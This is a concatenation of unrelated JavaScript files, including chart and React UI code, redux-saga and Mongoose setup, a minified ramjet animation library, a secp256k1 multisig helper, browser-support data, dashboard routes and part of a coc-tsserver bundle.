pointHoverBorderWidth: 2,
pointRadius: 4,
}, {
label: "My Second dataset",
data: [-26, 44, 16, 42, -38, -9, 46],
yAxisID: "y-axis-2",
backgroundColor: "rgba(81,117,224,.7)",
borderColor: "transparent",
pointBorderColor: "#5175E0",
pointBackgroundColor: "#FFF",
pointBorderWidth: 2,
pointHoverBorderWidth: 2,
pointRadius: 4,
}]
};
var config = {
type: 'line',
// Chart Options
options: chartOptions,
// Chart Data
data : chartData
};
// Create the chart
var multiAxisChart = new Chart(ctx, config);
});
|
import { all } from 'redux-saga/effects';
import applicationSaga from './application';
import contentSaga from './content';
import schemaSaga from './schema';
import { watchDblogRequests } from './reports';
import { watchRequestedRolesWithCancel } from './roles';
export default function* rootSaga() {
yield all([
applicationSaga(),
contentSaga(),
watchDblogRequests(),
watchRequestedRolesWithCancel(),
schemaSaga(),
]);
}
|
'use strict';
var defaults = require('lodash.defaults');
var through = require('through2');
var map = require('through2-map');
var gs = require('glob-stream');
var File = require('vinyl');
var getContents = require('./getContents');
var getStats = require('./getStats');
var formatStream = map.ctor({
objectMode: true
}, function (globFile) {
return new File(globFile);
});
function src(glob, opt) {
if (!isValidGlob(glob)) {
throw new Error('Invalid glob argument');
}
var options = defaults({}, opt, {
read: true,
buffer: true
});
var globStream = gs.create(glob, options);
// when people write to use just pass it through
var outputStream = globStream
.pipe(formatStream())
.pipe(getStats(options));
if (options.read !== false) {
outputStream = outputStream
.pipe(getContents(options));
}
return outputStream
.pipe(through.obj());
}
function isValidGlob(glob) {
if (typeof glob === 'string') {
return true;
}
if (Array.isArray(glob) && glob.length !== 0) {
return true;
}
return false;
}
module.exports = src;
|
// export { ElementService } from './Element'
export { ModuleElementService } from './ModuleElement'
export { RoleService } from './Role'
export { ModuleService } from './Module'
export { ResourceAuthorityService } from './ResourceAuthority'
export { UserService } from './User'
export { GateLogService } from './GateLog'
|
import React from 'react';
// import DatePicker from 'react-date-picker';
import DayPicker from 'react-day-picker';
import 'react-day-picker/lib/style.css';
export default class SingleCal extends React.Component {
constructor(props) {
super(props);
this.handleDayClick = this.handleDayClick.bind(this);
this.state = {
selectedDay: null,
};
}
handleDayClick(day, { selected }) {
this.setState({
selectedDay: selected ? undefined : day,
});
}
render() {
return (
<div>
<DayPicker
selectedDays={this.state.selectedDay}
onDayClick={this.handleDayClick}
/>
<p>
{this.state.selectedDay
? this.state.selectedDay.toLocaleDateString()
: 'Select Start Date 👻'}
</p>
</div>
);
}
}
|
!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):t.ramjet=e()}(this,function(){"use strict";function t(){L||document.body.appendChild(I),L+=1}function e(){L-=1,L||document.body.removeChild(I)}function n(t){for(var e=1;t instanceof Element&&e;){var n=getComputedStyle(t);if("hidden"===n.visibility||"none"===n.display)throw new Error("Ramjet: you cannot transition between nodes that have visibility: hidden or display: none (or their children)");e*=parseFloat(n.opacity),t=t.parentNode}return e}function o(t,e){if(Array.isArray(t))return t;if(Symbol.iterator in Object(t)){var n=[],o=!0,r=!1,i=void 0;try{for(var a,s=t[Symbol.iterator]();!(o=(a=s.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(l){r=!0,i=l}finally{try{!o&&s["return"]&&s["return"]()}finally{if(r)throw i}}return n}throw new TypeError("Invalid attempt to destructure non-iterable instance")}function r(t,e){var n=o(t,6),r=n[0],i=n[1],a=n[2],s=n[3],l=n[4],d=n[5],c=o(e,6),u=c[0],f=c[1],m=c[2],y=c[3],p=c[4],v=c[5];return[r*u+a*f,i*u+s*f,r*m+a*y,i*m+s*y,r*p+a*v+l,i*p+s*v+d]}function i(t){var e=o(t,6),n=e[0],r=e[1],i=e[2],a=e[3],s=e[4],l=e[5],d=n*a-i*r;return[a/d,-r/d,-i/d,n/d,(i*l-s*a)/d,(s*r-n*l)/d]}function a(t){if("matrix("!==t.slice(0,7))throw new Error("Could not parse transform string ("+t+")");return t.slice(7,-1).split(" ").map(parseFloat)}function s(t){for(var e=[1,0,0,1,0,0];t instanceof Element;){var n=getComputedStyle(t),o=n.webkitTransform||n.transform;if("none"!==o){var i=a(o);e=r(i,e)}t=t.parentNode}return e}function l(t){var e=t.cloneNode(),n=void 0,o=void 0,r=void 0;if(1===t.nodeType)for(n=window.getComputedStyle(t),F.forEach(function(t){e.style[t]=n[t]}),o=t.childNodes.length,r=0;o>r;r+=1)e.appendChild(l(t.childNodes[r]));return e}function d(t,e){var n=t.namespaceURI===B,o=t.getBoundingClientRect(),r=window.getComputedStyle(t),s=M(t),d=/^rgb[a]?\((\d+),\s*(\d+),\s*(\d+),?\s*(\d?.\d+)?\)$/,c=d.test(r.backgroundColor)?d.exec(r.backgroundColor).slice(1).map(parseFloat):null,u=l(t),f=void 0,m=void 0;if(n){var y=t.getScreenCTM();f="matrix("+[y.a,y.b,y.c,y.d,y.e,y.f].join(",")+")",m=[0,0,0,0]}else{var p=t.offsetParent;window.getComputedStyle(p),p.getBoundingClientRect();f=D(t);var v=t.style.transform||t.style.webkitTransform,b=r.webkitTransform||r.transform;if("none"!==b){var g=i(a(b));t.style.webkitTransform=t.style.transform="matrix("+g.join(",")+")",o=t.getBoundingClientRect(),t.style.webkitTransform=t.style.transform=v}u.style.position="absolute",u.style.top=o.top-parseInt(r.marginTop,10)+window.scrollY+"px",u.style.left=o.left-parseInt(r.marginLeft,10)+window.scrollX+"px",f="matrix("+f.join(",")+")",m=[parseFloat(r.borderTopLeftRadius),parseFloat(r.borderTopRightRadius),parseFloat(r.borderBottomRightRadius),parseFloat(r.borderBottomLeftRadius)]}var h={node:t,clone:u,isSvg:n,transform:f,borderRadius:m,opacity:s,backgroundColor:c,cx:(o.left+o.right)/2,cy:(o.top+o.bottom)/2,width:o.right-o.left,height:o.bottom-o.top};return h}function c(t){t.__ramjetOriginalTransition__=t.style.webkitTransition||t.style.transition,t.__ramjetOriginalOpacity__=t.style.opacity,t.style.webkitTransition=t.style.transition="",t.style.opacity=0}function u(t){"__ramjetOriginalOpacity__"in t&&(t.style.transition="",t.style.opacity=t.__ramjetOriginalOpacity__,t.__ramjetOriginalTransition__&&setTimeout(function(){t.style.transition=t.__ramjetOriginalTransition__}))}function f(t,e,n,o,r,i,a,s){var l=t?"translate("+e+" "+n+") scale("+(1+s*i)+" "+(1+s*a)+") translate("+-e+" "+-n+") translate("+s*o+" "+s*r+")":"translate("+s*o+"px,"+s*r+"px) scale("+(1+s*i)+","+(1+s*a)+")";return l}function m(t,e,n){var o=(e-t)*n+t;if(1==o)var r=1,i=n;else var r=o-n*n*o,i=(o-r)/(1-r);return[r,i]}function y(t,e,n){return m(t.opacity,e.opacity,n)}function p(t,e,n){var o;if(t.backgroundColor&&!isNaN(t.backgroundColor[3])&&e.backgroundColor&&!isNaN(e.backgroundColor[3]))o=m(t.backgroundColor[3],e.backgroundColor[3],n);else if(t.backgroundColor&&!isNaN(t.backgroundColor[3]))o=m(t.backgroundColor[3],e.backgroundColor?1:0,n);else{if(!e.backgroundColor||isNaN(e.backgroundColor[3]))return[!1,!1];o=m(t.backgroundColor?1:0,e.backgroundColor[3],n)}return[t.backgroundColor?"rgba("+t.backgroundColor.slice(0,3).join(",")+", "+o[0]+")":!1,e.backgroundColor?"rgba("+e.backgroundColor.slice(0,3).join(",")+", "+o[1]+")":!1]}function v(t,e,n,o,r){var i=1+r*n,a=1+r*o;return t.map(function(t,n){var o=e[n],s=(t+r*(o-t))/i,l=(t+r*(o-t))/a;return""+s+"px "+l+"px"})}function b(){q||document.body.appendChild(X),q+=1}function g(){q-=1,q||document.body.removeChild(X)}function h(t){return t}function w(t){return Math.pow(t,3)}function C(t){return Math.pow(t-1,3)+1}function k(t){return(t/=.5)<1?.5*Math.pow(t,3):.5*(Math.pow(t-2,3)+2)}function T(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function R(t,e){t.style.borderTopLeftRadius=e[0],t.style.borderTopRightRadius=e[1],t.style.borderBottomRightRadius=e[2],t.style.borderBottomLeftRadius=e[3]}function x(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function S(){return"_"+~~(1e6*Math.random())}function _(t,e,n){t.style[V]="alternate",t.style[W]=""+e.duration/1e3+"s",t.style[Z]=1,t.style[tt]=n,t.style[et]="linear"}function j(t){var e=document.createElement("style");e.type="text/css";var n=document.getElementsByTagName("head")[0],o=e.styleSheet;return o?o.cssText=t:e.innerHTML=t,n.appendChild(e),function(){return n.removeChild(e)}}function E(t,e,n){function o(n,o){var c=t.cx+r*o,u=t.cy+i*o,v=P(t.borderRadius,e.borderRadius,a,s,o),b=P(e.borderRadius,t.borderRadius,l,d,1-o),g=K(!1,c,u,r,i,a,s,o)+" "+t.transform,h=K(!1,c,u,-r,-i,l,d,1-o)+" "+e.transform,w=y(t,e,o),C=p(t,e,o);console.log(C),f.push("\n "+n+"% {\n opacity: "+w[0]+";\n "+(C[0]?"background-color: "+C[0]:"")+";\n border-top-left-radius: "+v[0]+";\n border-top-right-radius: "+v[1]+";\n border-bottom-right-radius: "+v[2]+";\n border-bottom-left-radius: "+v[3]+";\n "+J+": "+g+";\n }"),m.push("\n "+n+"% {\n opacity: "+w[1]+";\n "+(C[1]?"background-color: "+C[1]:"")+";\n border-top-left-radius: "+b[0]+";\n border-top-right-radius: "+b[1]+";\n border-bottom-right-radius: "+b[2]+";\n border-bottom-left-radius: "+b[3]+";\n "+J+": "+h+";\n }")}var r=e.cx-t.cx,i=e.cy-t.cy,a=e.width/t.width-1,s=e.height/t.height-1,l=t.width/e.width-1,d=t.height/e.height-1,c=n.easing||h,u=n.duration/50,f=[],m=[],v=[],b=void 0;for(b=0;u>b;b+=1){var g=100*(b/u),w=c(b/u);o(g,w)}return o(100,1),f=f.join("\n"),m=m.join("\n"),v=v.join("\n"),{fromKeyframes:f,toKeyframes:m,containerKeyframes:v}}function N(){var t=document.createElement("div");return t.style.position="absolute",t.style.left=t.style.top=0,X.appendChild(t),t}var A=["length","parentRule"],O=void 0;O="undefined"!=typeof CSS2Properties?Object.keys(CSS2Properties.prototype):Object.keys(document.createElement("div").style).filter(function(t){return!~A.indexOf(t)});var F=O,B="http://www.w3.org/2000/svg",I=document.createElementNS(B,"svg");I.style.position="fixed",I.style.top=I.style.left="0",I.style.width=I.style.height="100%",I.style.overflow="visible",I.style.pointerEvents="none",I.setAttribute("class","ramjet-svg");var L=0,M=n,D=s,K=f,P=v,X=document.createElement("div");X.style.position="absolute",X.style.top=X.style.left="0",X.style.width=X.style.height="100%",X.style.overflow="visible",X.style.pointerEvents="none",X.setAttribute("class","ramjet-html");var q=0,H=window.requestAnimationFrame||window.webkitRequestAnimationFrame||function(t){return setTimeout(t,16)},U=H,Y=function(t,n,o,r){function i(){var o=Date.now(),b=o-f;if(b>m)return t.clone.parentNode.removeChild(t.clone),n.clone.parentNode.removeChild(n.clone),(t.isSvg?e:g)(),(n.isSvg?e:g)(),void(r.done&&r.done());var h=v(b/m),w=y(t,n,h);t.clone.style.opacity=w[0],n.clone.style.opacity=w[1];var C=p(t,n,h);C[0]&&(t.clone.style.backgroundColor=C[0]),C[1]&&(n.clone.style.backgroundColor=C[1]);var k=P(t.borderRadius,n.borderRadius,l,d,h),T=P(n.borderRadius,t.borderRadius,c,u,1-h);R(t.clone,k),R(n.clone,T);var x=t.cx+a*h,S=t.cy+s*h,_=K(t.isSvg,x,S,a,s,l,d,h)+" "+t.transform,j=K(n.isSvg,x,S,-a,-s,c,u,1-h)+" "+n.transform;t.isSvg?t.clone.setAttribute("transform",_):t.clone.style.transform=t.clone.style.webkitTransform=t.clone.style.msTransform=_,n.isSvg?n.clone.setAttribute("transform",j):n.clone.style.transform=n.clone.style.webkitTransform=n.clone.style.msTransform=j,U(i)}T(this,Y);var a=n.cx-t.cx,s=n.cy-t.cy,l=n.width/t.width-1,d=n.height/t.height-1,c=t.width/n.width-1,u=t.height/n.height-1,f=Date.now(),m=r.duration||400,v=r.easing||h;i()},$=Y,z=document.createElement("div"),G=!0,J=void 0,Q=void 0,V=void 0,W=void 0,Z=void 0,tt=void 0,et=void 0,nt=void 0,ot=!window.ActiveXObject&&"ActiveXObject"in window;!ot&&("transform"in z.style||"webkitTransform"in z.style)&&("animation"in z.style||"webkitAnimation"in z.style)?(G=!0,J="transform"in z.style?"transform":"-webkit-transform","animation"in z.style?(Q="@keyframes",V="animationDirection",W="animationDuration",Z="animationIterationCount",tt="animationName",et="animationTimingFunction",nt="animationend"):(Q="@-webkit-keyframes",V="webkitAnimationDirection",W="webkitAnimationDuration",Z="webkitAnimationIterationCount",tt="webkitAnimationName",et="webkitAnimationTimingFunction",nt="webkitAnimationEnd")):G=!1;var rt=function(t,e,n,o){function r(){y&&p&&(t.clone.parentNode.removeChild(t.clone),e.clone.parentNode.removeChild(e.clone),g(),g(),o.done&&o.done(),m())}x(this,rt);var i=E(t,e,o),a=i.fromKeyframes,s=i.toKeyframes,l=i.containerKeyframes,d=S(),c=S(),u=S(),f="\n "+Q+" "+d+" { "+a+" }\n "+Q+" "+c+" { "+s+" }\n "+Q+" "+u+" { "+l+" }",m=j(f);_(t.clone,o,d),_(e.clone,o,c),_(n,o,u);var y=void 0,p=void 0;t.clone.addEventListener(nt,function(){y=!0,r()}),e.clone.addEventListener(nt,function(){p=!0,r()})},it=rt,at={transform:function(e,n){var o=void 0===arguments[2]?{}:arguments[2];"function"==typeof o&&(o={done:o}),"duration"in o||(o.duration=400);var r=N(),i=d(e),a=d(n);return i.clone.style.opacity=1,a.clone.style.opacity=0,(i.isSvg?t:b)(),(a.isSvg?t:b)(),r.appendChild(i.clone),r.appendChild(a.clone),!G||o.useTimer||i.isSvg||a.isSvg?new $(i,a,r,o):new it(i,a,r,o)},hide:function(){for(var t=arguments.length,e=Array(t),n=0;t>n;n++)e[n]=arguments[n];e.forEach(c)},show:function(){for(var t=arguments.length,e=Array(t),n=0;t>n;n++)e[n]=arguments[n];e.forEach(u)},linear:h,easeIn:w,easeOut:C,easeInOut:k};return at});
|
const secp256k1 = require(`secp256k1`);
const cryptoUtils = require(`./crypto-utils`);
class Multisig {
// TODO: Error handling (class-wide)
/**
* @param {String} msg Message
*/
constructor(msg) {
this.msg = null;
this.formattedMsg = null;
this.signatures = {};
if (msg) {
this.setMsg(msg);
}
}
/**
* Change the raw message and reset options
* @param {string} msg Message
* @return {string} Formatted Message
*/
setMsg(msg) {
if (Object.prototype.toString.call(msg) === `[object String]`) {
this.msg = msg;
this.formattedMsg = cryptoUtils.dataHash(this.msg);
this.signatures = {};
}
return this.formattedMsg;
}
/**
* Verify if a signed message correspond to the current message and provided public key
* @param {string} signedMsg
* @param {string} pubKey
* @return {boolean} Verify Signature Result
*/
verifySignature(pubKey, signedMsg) {
return secp256k1.verify(
Buffer.from(this.formattedMsg, `hex`),
Buffer.from(signedMsg, `hex`),
Buffer.from(pubKey, `hex`)
);
}
/**
* Add a signature to this Multisig instance
* @param {string} signedMsg
* @param {string} pubKey
* @return {object} Signatures
*/
addSignature(pubKey, signedMsg) {
if (this.msg !== null && pubKey !== undefined && signedMsg !== undefined) {
if (!(pubKey in this.signatures)) {
this.signatures[pubKey] = signedMsg;
}
}
return this.signatures;
}
/**
* Verify if the instance contains a list of signature
* @param {string[]} requiredPubKeys Required Public Keys
* @returns {boolean[]} verified Signatures
*/
verifyRequiredSignature(requiredPubKeys) {
const verifiedSignatures = [];
requiredPubKeys.forEach(pubKey => {
let verify = false;
if (pubKey in this.signatures) {
verify = true;
}
verifiedSignatures.push(verify);
});
return verifiedSignatures;
}
}
module.exports = Multisig;
|
module.exports = {
extends: 'eslint:recommended',
env: {
node: true,
es6: true
},
rules: {
'no-console': 0
}
}
|
const { Schema, model} = require("mongoose");
const ReceitaSchema = new Schema({
nomeReceita:{
type: String,
required: true,
},
ingredientes: {
type: Array,
required: true,
},
modoPreparo:{
type:String,
required: true,
},
infoNutri:{
type:Array,
}
}, {
timestamps: true,
});
module.exports = model('receita', ReceitaSchema);
|
module.exports={A:{A:{"2":"J E F G A B lB"},B:{"2":"C K L D M N O","194":"P Q R U V W X Y Z a b c S d e H"},C:{"2":"0 1 2 3 4 5 6 7 8 9 mB dB I f J E F G A B C K L D M N O g h i j k l m n o p q r s t u v w x y z AB BB CB DB EB FB GB HB IB JB eB KB fB LB MB T NB OB PB QB RB SB TB UB VB WB XB YB ZB aB P Q R nB U V W X Y Z a b c S d e H gB oB pB"},D:{"2":"0 1 2 3 4 5 6 7 8 9 I f J E F G A B C K L D M N O g h i j k l m n o p q r s t u v w x y z AB BB","194":"CB DB EB FB GB HB IB JB eB KB fB LB MB T NB OB PB QB RB SB TB UB VB WB XB YB ZB aB P Q R U V W X Y Z a b c S d e H gB qB rB sB"},E:{"2":"I f J E F G A B C K L D tB hB uB vB wB xB iB bB cB yB zB 0B 1B"},F:{"2":"G B C D M N O g h i j k l m n o p q r s t u v w x y 2B 3B 4B 5B bB jB 6B cB","194":"0 1 2 3 4 5 6 7 8 9 z AB BB CB DB EB FB GB HB IB JB KB LB MB T NB OB PB QB RB SB TB UB VB WB XB YB ZB aB P Q R"},G:{"2":"F D hB 7B kB 8B 9B AC BC CC DC EC FC GC HC IC JC KC LC MC NC OC PC"},H:{"2":"QC"},I:{"2":"dB I H RC SC TC UC kB VC WC"},J:{"2":"E A"},K:{"2":"A B C T bB jB cB"},L:{"194":"H"},M:{"2":"S"},N:{"2":"A B"},O:{"2":"XC"},P:{"2":"I","194":"YC ZC aC bC cC iB dC eC fC gC hC"},Q:{"2":"iC"},R:{"194":"jC"},S:{"2":"kC"}},B:7,C:"CSS @apply rule"};
|
/*******************************************************************************
* (c) Copyright 2017 Hewlett Packard Enterprise Development LP Licensed under the Apache License,
* Version 2.0 (the "License"); you may not use this file except in compliance with the License. You
* may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*******************************************************************************/
'use strict';
// Deps
import _ from 'lodash';
// Constants
import { APP } from './constants/';
// ED Templates
import Basic from './templates/Basic';
import Main from './templates/Main';
// ED Generic Components
import Signin from './containers/Signin';
import User from './containers/User';
import Usage from './containers/Usage';
import Nav from './components/Nav';
// ED Page Components
import UniversalMemoryFocus from '../universal-memory/containers/UniversalMemoryFocus';
import UniversalMemoryDetails from '../universal-memory/containers/UniversalMemoryDetails';
import DeclarativeMgmtFocus from '../declarative-mgmt/containers/DeclarativeMgmtFocus';
import DeclarativeMgmtDetails from '../declarative-mgmt/containers/DeclarativeMgmtDetails';
import MonitoringFocus from '../monitoring/components/MonitoringFocus';
import MonitoringDetails from '../monitoring/components/MonitoringDetails';
import MemoryMgmtFocus from '../memory-mgmt/containers/MemoryMgmtFocus';
import MemoryMgmtDetails from '../memory-mgmt/containers/MemoryMgmtDetails';
/**
* Path Config
*
* Each path can be declared as auth: true/false.
*
* There be exactly one path with auth:true && default:true.
* And exactly one path with auth:false && default:true
*/
export const paths = {
signin: {
auth: false,
default: true,
path: '/signin'
},
universalMemory: {
auth: true,
default: true,
path: '/overview'
},
declarativeMgmt: {
auth: true,
path: '/declarative-management'
},
monitoring: {
auth: true,
path: '/monitoring'
},
memoryMgmt: {
auth: true,
path: '/memory-management'
}
};
// Config
const tabs = [
{ href: paths.universalMemory.path, text: 'Overview'},
{ href: paths.declarativeMgmt.path, text: 'Declarative Management'},
/*{ href: paths.monitoring.path, text: 'Monitoring'},*/
{ href: paths.memoryMgmt.path, text: 'Memory Management'},
];
const mainPage = {
page: {},
template: {
component: Main,
props: {},
},
system: [
{ key: 'user', component: User }
],
children: {
nav: {
component: Nav,
props: {
navItems: tabs,
classNames: {
'dashboard__tabs': true
}
}
},
summary: {
component: Usage,
props: {
classNames: {
'dashboard__usage': true
}
}
},
focus: { component: null },
details: { component: null },
},
};
const basicPage = {
page: {},
template: {
component: Basic,
props: {}
},
system: [
{ key: 'user', component: User }
],
children: {
focus: { component: Signin },
},
};
const routes = [
{
...paths.signin,
action: () => _.merge({}, basicPage, {
template: {
props: {
classNames: {
container: {
'container--centre': true,
'page__signin': true
}
}
}
},
page: {
title: 'Sign In',
subtitle: APP.NAME
},
children: {
focus: { component: Signin }
}
})
},
{
...paths.universalMemory,
action: (data) => {
return _.merge({}, mainPage, {
template: {
props: {
classNames: {
container: {
'page__universal-memory': true
}
}
}
},
page: {
title: 'Overview',
subtitle: '',
router: data || {},
},
children: {
focus: { component: UniversalMemoryFocus },
details: { component: UniversalMemoryDetails }
}
})
}
},
{
...paths.declarativeMgmt,
action: (data) => _.merge({}, mainPage, {
template: {
props: {
classNames: {
container: {
'page__declarative-mgmt': true
}
}
}
},
page: {
title: 'Declarative Management',
subtitle: 'Machine Instance',
router: data || {},
},
children: {
focus: { component: DeclarativeMgmtFocus },
details: { component: DeclarativeMgmtDetails }
}
})
},
{
...paths.monitoring,
action: (data) => _.merge({}, mainPage, {
template: {
props: {
classNames: {
container: {
'page__monitoring': true
}
}
}
},
page: {
title: 'Monitoring',
subtitle: '',
router: data || {},
},
children: {
focus: { component: MonitoringFocus },
details: { component: MonitoringDetails }
}
})
},
{
...paths.memoryMgmt,
action: (data) => _.merge({}, mainPage, {
template: {
props: {
classNames: {
container: {
'page__memory-mgmt': true
}
}
}
},
page: {
title: 'Memory management',
subtitle: '',
router: data || {},
},
children: {
focus: { component: MemoryMgmtFocus },
details: { component: MemoryMgmtDetails }
}
})
}
];
export default routes;
|
const EventEmitter = require('events').EventEmitter; //node 0.10 compatibility;
const Db = require('./db');
const plans = require('./plans');
class Boss extends EventEmitter{
constructor(config){
super();
this.db = new Db(config);
this.config = config;
this.archiveCommand = plans.archive(config.schema);
}
supervise(){
var self = this;
return archive().then(init);
function archive(){
return self.db.executeSql(self.archiveCommand, self.config.archiveCompletedJobsEvery)
.then(result => {
if (result.rowCount)
self.emit('archived', result.rowCount);
});
}
function init() {
if(self.stopped)
return;
self.archiveTimer = setTimeout(check, self.config.archiveCheckInterval);
function check() {
archive().catch(error => self.emit('error', error)).then(init)
}
}
}
stop() {
return new Promise((resolve, reject) => {
this.stopped = true;
if(this.archiveTimer)
clearTimeout(this.archiveTimer);
resolve();
});
}
}
module.exports = Boss;
|
(function(e, a) { for(var i in a) e[i] = a[i]; if(a.__esModule) Object.defineProperty(e, "__esModule", { value: true }); }(exports,
/******/ (() => { // webpackBootstrap
/******/ var __webpack_modules__ = ([
/* 0 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
exports.activate = void 0;
const coc_nvim_1 = __webpack_require__(1);
const server_1 = __importDefault(__webpack_require__(2));
const commands_1 = __webpack_require__(107);
const organizeImports_1 = __webpack_require__(116);
const plugins_1 = __webpack_require__(142);
async function activate(context) {
let { subscriptions, logger } = context;
const config = coc_nvim_1.workspace.getConfiguration().get('tsserver', {});
if (!config.enable)
return;
const pluginManager = new plugins_1.PluginManager();
const service = new server_1.default(pluginManager);
function registCommand(cmd) {
let { id, execute } = cmd;
subscriptions.push(coc_nvim_1.commands.registerCommand(id, execute, cmd));
}
registCommand(new commands_1.ConfigurePluginCommand(pluginManager));
registCommand(new commands_1.AutoFixCommand(service));
registCommand(new commands_1.ReloadProjectsCommand(service));
registCommand(new commands_1.OpenTsServerLogCommand(service));
registCommand(new commands_1.TypeScriptGoToProjectConfigCommand(service));
registCommand(new organizeImports_1.OrganizeImportsCommand(service));
registCommand({
id: 'tsserver.restart',
execute: () => {
// tslint:disable-next-line:no-floating-promises
service.stop().then(() => {
setTimeout(() => {
service.restart();
}, 100);
});
}
});
service.start().then(() => {
subscriptions.push(coc_nvim_1.services.regist(service));
}, e => {
logger.error(`Error on service start:`, e);
});
return {
configurePlugin: (pluginId, configuration) => {
pluginManager.setConfiguration(pluginId, configuration);
}
};
}
exports.activate = activate;
/***/ }),
/* 1 */
/***/ ((module) => {
"use strict";
module.exports = require("coc.nvim");;
/***/ }),
/* 2 */
/***/ (function(__unused_webpack_module, exports, __webpack_require__) {
"use strict";
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", ({ value: true }));
const coc_nvim_1 = __webpack_require__(1);
const vscode_languageserver_protocol_1 = __webpack_require__(3);
const typescriptServiceClientHost_1 = __importDefault(__webpack_require__(33));
const languageDescription_1 = __webpack_require__(141);
class TsserverService {
constructor(pluginManager) {
this.pluginManager = pluginManager;
this.id = 'tsserver';
this.name = 'tsserver';
this.state = coc_nvim_1.ServiceStat.Initial;
this._onDidServiceReady = new vscode_languageserver_protocol_1.Emitter();
this.onServiceReady = this._onDidServiceReady.event;
this.disposables = [];
this.descriptions = [];
const config = coc_nvim_1.workspace.getConfiguration('tsserver');
const enableJavascript = !!config.get('enableJavascript');
this.enable = config.get('enable');
this.descriptions = languageDescription_1.standardLanguageDescriptions.filter(o => {
return enableJavascript ? true : o.id != 'javascript';
});
this.selector = this.descriptions.reduce((arr, c) => {
return arr.concat(c.modeIds);
}, []);
}
get config() {
return coc_nvim_1.workspace.getConfiguration('tsserver');
}
/**
* Get running client host.
*/
getClientHost() {
if (this.state == coc_nvim_1.ServiceStat.Running)
return Promise.resolve(this.clientHost);
this.start();
return new Promise((resolve, reject) => {
let timer = setTimeout(() => {
reject(new Error(`Server not started after 5s`));
}, 5000);
let disposable = this.onServiceReady(() => {
clearTimeout(timer);
disposable.dispose();
resolve(this.clientHost);
});
});
}
start() {
if (this.clientHost)
return;
this.state = coc_nvim_1.ServiceStat.Starting;
this.clientHost = new typescriptServiceClientHost_1.default(this.descriptions, this.pluginManager);
this.disposables.push(this.clientHost);
let client = this.clientHost.serviceClient;
return new Promise(resolve => {
let started = false;
client.onTsServerStarted(() => {
Object.defineProperty(this, 'state', {
get: () => {
return this.clientHost.serviceClient.state;
}
});
this._onDidServiceReady.fire(void 0);
if (!started) {
started = true;
resolve();
}
});
});
}
dispose() {
coc_nvim_1.disposeAll(this.disposables);
}
async restart() {
if (!this.clientHost)
return;
let client = this.clientHost.serviceClient;
await client.restartTsServer();
}
async stop() {
if (!this.clientHost)
return;
this.clientHost.reset();
let client = this.clientHost.serviceClient;
await client.stop();
return;
}
}
exports.default = TsserverService;
/***/ }),
/* 3 */
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {
"use strict";
/* --------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
* ------------------------------------------------------------------------------------------ */
function __export(m) {
for (var p in m) if (!exports.hasOwnProperty(p)) exports[p] = m[p];
}
Object.defineProperty(exports, "__esModule", ({ value: true }));
const vscode_jsonrpc_1 = __webpack_require__(4);
exports.ErrorCodes = vscode_jsonrpc_1.ErrorCodes;
exports.ResponseError = vscode_jsonrpc_1.ResponseError;
exports.CancellationToken = vscode_jsonrpc_1.CancellationToken;
exports.CancellationTokenSource = vscode_jsonrpc_1.CancellationTokenSource;
exports.Disposable = vscode_jsonrpc_1.Disposable;
exports.Event = vscode_jsonrpc_1.Event;
exports.Emitter = vscode_jsonrpc_1.Emitter;
exports.Trace = vscode_jsonrpc_1.Trace;
exports.TraceFormat = vscode_jsonrpc_1.TraceFormat;
exports.SetTraceNotification = vscode_jsonrpc_1.SetTraceNotification;
exports.LogTraceNotification = vscode_jsonrpc_1.LogTraceNotification;
exports.RequestType = vscode_jsonrpc_1.RequestType;
exports.RequestType0 = vscode_jsonrpc_1.RequestType0;
exports.NotificationType = vscode_jsonrpc_1.NotificationType;
exports.NotificationType0 = vscode_jsonrpc_1.NotificationType0;
exports.MessageReader = vscode_jsonrpc_1.MessageReader;
exports.MessageWriter = vscode_jsonrpc_1.MessageWriter;
exports.ConnectionStrategy = vscode_jsonrpc_1.ConnectionStrategy;
exports.StreamMessageReader = vscode_jsonrpc_1.StreamMessageReader;
exports.StreamMessageWriter = vscode_jsonrpc_1.StreamMessageWriter;
exports.IPCMessageReader = vscode_jsonrpc_1.IPCMessageReader;
exports.IPCMessageWriter = vscode_jsonrpc_1.IPCMessageWriter;
exports.createClientPipeTransport = vscode_jsonrpc_1.createClientPipeTransport;
exports.createServerPipeTransport = vscode_jsonrpc_1.createServerPipeTransport;
exports.generateRandomPipeName = vscode_jsonrpc_1.generateRandomPipeName;
exports.createClientSocketTransport = vscode_jsonrpc_1.createClientSocketTransport;
exports.createServerSocketTransport = vscode_jsonrpc_1.createServerSocketTransport;
exports.ProgressType = vscode_jsonrpc_1.ProgressType;
__export(__webpack_require__(18));
__export(__webpack_require__(19));
const callHierarchy = __webpack_require__(31);
const st = __webpack_require__(32);
var Proposed;
(function (Proposed) {
let CallHierarchyPrepareRequest;
(function (CallHierarchyPrepareRequest) {
CallHierarchyPrepareRequest.method = callHierarchy.CallHierarchyPrepareRequest.method;
CallHierarchyPrepareRequest.type = callHierarchy.CallHierarchyPrepareRequest.type;
})(CallHierarchyPrepareRequest = Proposed.CallHierarchyPrepareRequest || (Proposed.CallHierarchyPrepareRequest = {}));
let CallHierarchyIncomingCallsRequest;
(function (CallHierarchyIncomingCallsRequest) {
CallHierarchyIncomingCallsRequest.method = callHierarchy.CallHierarchyIncomingCallsRequest.method;
CallHierarchyIncomingCallsRequest.type = callHierarchy.CallHierarchyIncomingCallsRequest.type;
})(CallHierarchyIncomingCallsRequest = Proposed.CallHierarchyIncomingCallsRequest || (Proposed.CallHierarchyIncomingCallsRequest = {}));
